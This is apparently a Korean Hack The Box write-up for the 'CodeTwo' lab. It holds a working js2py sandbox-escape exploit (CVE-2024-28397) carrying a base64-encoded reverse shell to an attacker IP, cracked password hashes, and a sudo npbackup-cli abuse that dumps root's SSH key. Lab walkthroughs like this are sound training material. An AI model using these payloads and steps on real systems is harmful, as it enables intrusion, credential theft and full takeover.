HTB Codetwo Write up 입니다.
Port Scanning
포트 스캔 결과 22
, 8000
포트가 열려있다.
- 22 : SSH
- 8000 : 웹 서비스, linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sC -sV -p 22,8000 10.10.11.82 -oA tcp_detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 22:32 KST
Nmap scan report for 10.10.11.82
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.61 seconds
Web Service 분석
웹 페이지에는 아래와 같은 기능이 있다.
/login
: 로그인/download
: 웹 서비스 소스코드 다운로드/register
: 회원 가입- 로그인 이후 기능
/dashboard
: 화면 뷰/run_code
: 삽입한 javascript 실행 후 결과를 보여줌/save_code
: javscript 삽힙한 코드 저장/delete_code/<code_id>
: javscript 저장 삭제.
Source Code Download
/download
에서 소스코드를 다운받아 분석을 통해 가장 의심스러운 부분을 발견할 수 있으며, js2py.eval_js() 함수를 사용하고 있다.
1
2
3
4
5
6
7
8
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
requirements.txt
파일에 js2py 0.74
라이브러리 버전이 명시되어 있다.
1
2
3
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
CVE-2024-28397
js2py 0.74 버전은 CVE-2024-28397에 취약한 버전이며, PoC가 공개되어 있다.
해당 취약점은 Sandbox을 탈출하여 RCE
가 되는 취약점이다.
Exploit Code
- RevereShell 연결 명령
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// [+] command goes here:
let cmd = "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEzLzk5OTkgMD4mMQ=='|base64 -d | bash "
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
Post-Exploitation
Macro password crack
/home/app
디렉토리에 marco
폴더를 확인할 수 있다.
1
2
3
4
5
drwxr-xr-x 4 root root 4096 Jan 2 2025 .
drwxr-xr-x 18 root root 4096 Nov 16 2024 ..
drwxr-x--- 5 app app 4096 Apr 6 03:22 app
drwxr-x--- 6 marco marco 4096 Aug 29 13:45 marco
그다음 뭐 딱히 할 수 있는게 없어서, app폴더 파일을 찾아보니 /app/instance/users.db
를 찾을 수 있다.
DBvear
도구를 이용해 db 파일 내 3개의 계정 및 패스워드 해시를 발견할 수 있다.
1
2
3
4
username | password_hash
marco 649c9d65a206a75f5abe509fe128bce5
app a97588c0e2fa3a024876339e27aeb42e
testuser 16d7a4fca7442dda3ad93c9a726597e4
hash-identifier
로 해시 값을 확인 시 MD5
해시가 제일 유력하고, hashcat
을 이용하여 rockyou.txt
로 해시크랙을 수행했다.
1
2
- `macro:sweetangelbabylove`
- `testuser:test1234`
그 결과 macro 패스워드가 크랙이 되었고 SSH로 macro 계정에 접근할 수 있다.
Privilege escalation
macro 계정에서 sudo -l
입력 시 NOPASSWD /user/local/bin/npbackup-cli
를 확인할 수 있다.
1
2
3
4
5
6
7
8
sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
npbackup-cli
파일은 ROOT
로 권한 상승 할만한 부분이 보이지는 않았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
# Block restricted flag
if '--external-backend-binary' in sys.argv:
print("Error: '--external-backend-binary' flag is restricted for use.")
sys.exit(1)
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
해메다가 macro 홈디렉토리에 npbackup.config
파일을 확인할 수 있었다.
해당 파일에서 groups
에 path
옵션에 /root/.ssh
을 통해 해당 부분을 백업하도록 하면 루트 개인키를 얻을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+
E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKU
P__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups: 00:32:33 [26/100]
default_group:
backup_opts:
paths: [] -> /root/.ssh/
...
마지막으로 백업 명령을 통해 root의 개인키를 가져와서 해당 키로 로그인을 하면 ROOT 권한을 얻을 수 있다.
1
2
3
sudo /usr/local/bin/npbackup-cli -c npbackup.conf -f --dump /root/.ssh/id_rsa | tee id_rsa > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.82
Conclusion
LPE 부분에서 상당히 많은 시간을 소요했고, 결국 힌트를 보았다.
sudo -l
에서 문제가 있을꺼라 했는데 어떻게 접근해야하는지 잘 몰랐고, Linpeas
를 했는데 Polkit
이 된다고 나왔는데 해당 취약점으로 권한 상승이 잘되진 않았다.
오랜만에 HTB 문제를 풀면서 tmux
, sock5 proxy
등 까먹었던 여러 기능등을 다시 해보면서 익숙해져서 재밌었다.